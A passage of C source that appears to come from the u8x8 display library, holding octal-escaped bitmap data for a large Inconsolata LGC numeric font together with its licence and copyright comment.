"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\77\77\77\77\77\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\200\200\200\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\3\3\3\3\3\3\7\7\7\7\17\37\177\377\376\374\370\340\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\17\77\177\377\377\370\300\200\200\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\361\371\377\177\77\37\37\37" "\17\17\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\376\377\377\377\377\3\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\377\377\377\377\377\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\360\360\360\360\360\360\360\360\360\370\370\376\377\177\77\77\17\3\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\340\360\370\374~>\36\36\36\36>>|\374\370\360\340\300\300\300\200\300\300\340\360\370" "\376|\70\0\0\0\1\1\1\0\0\0\0\0\0\0\0\0\0\0\1\3\3\7\7\7\7\7\7\3\3\1" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0"; /* Fontname: -FreeType-Inconsolata LGC-Medium-R-Normal--62-620-72-72-P-281-ISO10646-1 Copyright: Original Roman version created by Raph Levien using his own tools and FontForge. Copyright 2006 Raph Levien. Hellenisation of the Roman font, by Dimosthenis Kaponis, using FontForge. Hellenic glyphs Copyright 2010-2012 Dimosthenis Kaponis. Released under the SIL Open Font License, http://scripts.sil.org/OFL. Cyrillic glyphs added by MihailJP, using FontForge. Cyrillic glyphs Copyright 2012 MihailJP. Released under the SIL Open Font License, http://scripts.sil.org/OFL. Some glyphs modified by Greg Omelaenko, using FontForge. Glyphs: 18/658 BBX Build Mode: 3 */ const uint8_t u8x8_font_inr46_4x8_n[6916] U8X8_FONT_SECTION("u8x8_font_inr46_4x8_n") = " :\4\10\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\340\340\340\340 \0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\200\360\340\340\300\300\200\200\0\0\0\0\17\377\377\377\177\0\0\0\0\200\200\300\300\340\340" "\340\200\0\0\0\1\3\3\3\7\7\7\7\17\17\216\376\374\377\177\377\374\376\316\17\17\17\7\7\7\3\3" "\3\1\0\0\0\0\0\0\200\300\360\370\374\376\177\37\17\3\0\0\0\3\7\37\77\376\374\370\360\300\200\0" "\0\0\0\0\0\0\0\0\0\1\3\7\3\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\3\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\360\360\360\360\360\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\36\36\36\36\36\36\36\36\36\36\36\36\377\377\377\377\377\36\36\36\36\36\36\36\36\36\36" "\36\36\36\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\340\340\340\300\300\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\2\17\17\37\377\377\377\377\177\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0`\360\370~\77\17\7\1\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0xxxxxxxxxxxxxxxxxxxxxxxxx" "x\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\370\370\370\370\370\370\360\340\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\3\3\7\3\3\1\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\370\370\360\360" " \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\374\377\377\177\17\3\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\370\377\377\177\37\7\1\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\370\376\377\377\77\17\3\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\300\360\374\377\377\177\17\3\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\200\340\370\377\377\177\37\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\10\36\37\77\77\17\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300\300\300\200\200\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\300\360\370\374\376\177\37\17\17\7\7\7\7\7\7\17\37\77\376\374\370\360\300\0" "\0\0\0\0\0\200\374\377\377\377\77\7\0\0\0\0\0\0\0\0\0\200\300\360\370\374~\37\177\377\377\377" "\370\200\0\0\0\377\377\377\377\377\0\0\0\0\0\200\340\360\370\374\177\37\17\7\1\0\0\0\0\377\377\377" "\377\377\0\0\0\7\177\377\377\377\374\360\370\376\177\37\17\7\1\0\0\0\0\0\0\0\0\0\360\377\377\377" "\377\7\0\0\0\0\0\3\17\37\177\377\377\370\360\340\300\300\200\200\200\200\300\300\340\360\374\377\177\77\17\3" "\0\0\0\0\0\0\0\0\0\0\0\0\1\1\3\7\7\7\7\17\17\7\7\7\3\3\1\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\60x\70<<>\36\37\37\17\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7\7\7\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300\300\300\300\300\200\200\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\70|\376~\37\17\17\7\7\7\7\7\7\7\7\17\17\37\177\377\376\374\370\340" "\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\341\377\377\377\377" "\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\370\376\177\77\37\17\3\1" "\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\370\374\376\177\77\37\17\7\3\1\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\200\340\370\374\377\377\237\217\203\201\200\200\200\200\200\200\200\200\200\200\200\200\200\200\300" "\300\0\0\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7" "\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300\300\300\300\200\200\200\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\14\36\77\37\17\17\7\7\7\7\3\7\7\7\17\17\37\177\377\376\374\370\340\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\377\377\377\177\37\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0>>\36>>\77\77\77\177\377\377\373\363\341\300\200\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\37\377\377\377\377\370" "\0\0\0\0\0\0@\340\360\374\360\340\340\300\300\200\200\200\200\200\200\300\300\340\360\374\377\377\177\77\37\3" "\0\0\0\0\0\0\0\0\1\1\3\3\7\7\7\7\7\17\17\7\7\7\7\7\3\3\1\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\300\300\300\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\370\374\177\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\200\300\360\370\376\77\37\7\3\0\0\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\200\340\360\374\376\77\37\7\3\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0<\77\77\77\77=<<<<<<<<<<<<\377\377\377\377\377<<<<" "<<\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7\7\7\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300" "\300\0\0\0\0\0\0\0\0\377\377\377\377\377\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3" "\3\0\0\0\0\0\0\0\200\377\377\377\377\377\300\300\300\340\340\340\340\340\340\340\300\300\300\200\200\0\0\0" "\0\0\0\0\0\0\0\0\37\37\37\77\37\17\7\3\3\3\3\1\3\3\3\3\7\17\37\77\377\377\376\374" "\360\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\377\377\377" "\377\377\0\0\0\0\0\60x\374\374\374\360\340\340\300\300\200\200\200\200\200\200\300\300\340\360\374\377\377\177\77" "\17\3\0\0\0\0\0\0\0\0\1\1\3\3\7\7\7\7\7\17\17\7\7\7\7\7\3\3\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300\300\300\300\200\200\200\0\0\0" "\0\0\0\0\0\0\0\0\0\200\340\360\374\374\376\77\37\17\17\7\7\7\3\7\7\7\7\17\37\37\17\6" "\0\0\0\0\0\0\0\340\376\377\377\377\177\3\0\0\200\300\300\300\300\300\300\300\300\300\200\200\0\0\0\0" "\0\0\0\0\0\0\0\377\377\377\377\377\370>\37\17\17\7\3\3\3\3\3\7\7\17\37\177\377\376\374\370" "\340\0\0\0\0\0\0\77\377\377\377\377\360\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\203\377\377\377" "\377\377\0\0\0\0\0\0\3\17\77\177\377\376\370\360\340\300\300\200\200\200\200\200\300\340\360\374\377\377\177\77" "\17\1\0\0\0\0\0\0\0\0\0\0\0\1\3\3\7\7\7\7\7\17\7\7\7\7\3\3\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300" "\0\0\0\0\0\0\0\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\303\373\377\377\377\177\17\3" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\370\377\377\377\77\17\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\370\377\377\377\77\7\1\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\370\377\377\377\177\17\1\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\300\360\376\377\377\377\37\3\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\4\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\300\300\200\200\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\300\360\374\376\377\177\37\17\7\7\7\7\7\7\7\17\17\37\377\377\376\374\370\300" "\0\0\0\0\0\0\0\0\17\77\377\377\377\374\340\300\200\0\0\0\0\0\0\0\300\340\374\377\377\177\77\17" "\0\0\0\0\0\0\0\0\0\200\300\301\343\363\367\177\77\37\37\36>>\177\177\377\367\363\341\300\200\0\0" "\0\0\0\0\0\0\360\374\376\377\377\37\3\1\0\0\0\0\0\0\0\0\0\0\0\1\3\17\377\377\377\376" "\370\0\0\0\0\0\7\37\177\377\377\377\370\360\340\300\300\200\200\200\200\200\200\300\300\340\360\374\377\377\177\77" "\17\0\0\0\0\0\0\0\0\0\1\1\3\3\7\7\7\7\7\17\17\7\7\7\7\3\3\1\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\300\200\200\0\0\0\0\0\0\0" 